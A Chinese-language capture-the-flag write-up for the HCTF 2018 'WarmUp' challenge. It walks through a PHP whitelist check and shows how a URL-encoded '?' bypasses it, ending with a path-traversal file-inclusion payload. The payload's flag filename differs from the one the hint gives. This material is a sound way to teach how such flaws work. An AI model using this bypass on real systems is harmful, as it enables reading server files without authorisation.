

[HCTF 2018]WarmUp 1


打开页面就是一个大大的滑稽脸，右键查看代码。

```
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>Document</title>
</head>
<body>
  <!--source.php-->

  <br></body>
</html>
```

可以看到，代码提示了source.php，直接访问。

```
public static function checkFile(&$page)
{
  $whitelist = ["source"=>"source.php", "hint"=>"hint.php"];
  if (! isset($page) || !is_string($page)) {
    echo "you can't see it";
    return false;
  }
}
```



这里题目给了一个hint，打开看看，题目给的是flag的所在的文件名。先记下，以备后用。

← → ↻ ⚠ 不安全 | a5b4c065-c660-415f-8bec-a396

flag not here, and flag in ffffllllaaaagggg

回头看看source.php里的代码。这里分为两块，第一块是checkFile函数，第二块是一个if判断。

```
highlight_file(__FILE__);
```

```
class emmm
```

```
{
```

```
    public static function checkFile(&$page)
    {
        $whitelist = ["source"=>"source.php", "hint"=>"hint.php"];
        if (! isset($page) || !is_string($page)) {
            echo "you can't see it";
            return false;
        }

        if (in_array($page, $whitelist)) {
            return true;
        }

        $_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        $_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }
        echo "you can't see it";
        return false;
    }
}
```

```
}
```

```
if (! empty($_REQUEST['file'])
    && is_string($_REQUEST['file'])
    && emmm::checkFile($_REQUEST['file']))
{
    include $_REQUEST['file'];
    exit;
} else {
    echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
```

先看这个if语句，先传入一个参数file，file需要满足下面三个条件：

- 1、file不为空
- 2、file是一个字符串
- 3、file需要通过checkFile函数的检查

既然如此，那就看看checkFile函数。

```
public static function checkFile(&$page)
{
    $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
    if (! isset($page) || !is_string($page)) {
        echo "you can't see it";
        return false;
    }

    if (in_array($page, $whitelist)) {
        return true;
    }

    $_page = mb_substr(
        $page,
        0,
        mb_strpos($page . '?', '?')
    );

    if (in_array($_page, $whitelist)) {
        return true;
    }

    $_page = urldecode($page);
    $_page = mb_substr(
        $_page,
        0,
        mb_strpos($_page . '?', '?')
    );

    if (in_array($_page, $whitelist)) {
        return true;
    }
    echo "you can't see it";
    return false;
}
```

\$page是否存在

\$page是否在白名单whitelist里

\$page经过处理，赋值给\$_page
mb_strpos(str,chr): 查找字符chr第一次出现在字符串str中的位置
mb_substr(): 截取字符串

\$_page在白名单里

url解码，再次重复上面的操作

最终，再次判断\$_page是否在白名单中

我们的目标是要checkFile()返回true，且include包含的文件必须是hint里给出的文件。

看一下代码流程：

- 1、白名单检查
- 2、取?前的字符串
- 3、白名单检查
- 4、url解码后第二次截取?之前的字符串
- 5、白名单检查

整个流程中存在字符串截取，一次url解码，所以构造字符串时可以将?进行url编码。

这样，第一次截取能够全部被保留并赋值给\$_page，第二次截取就会抛弃?后的字符串，从而通过检查。

payload=/?file=source.php%3f../../../../../../../../fffff1111aaaagggg

fffff1111aaaagggg并不是在网站根目录下，所以可以遍历目录得到flag。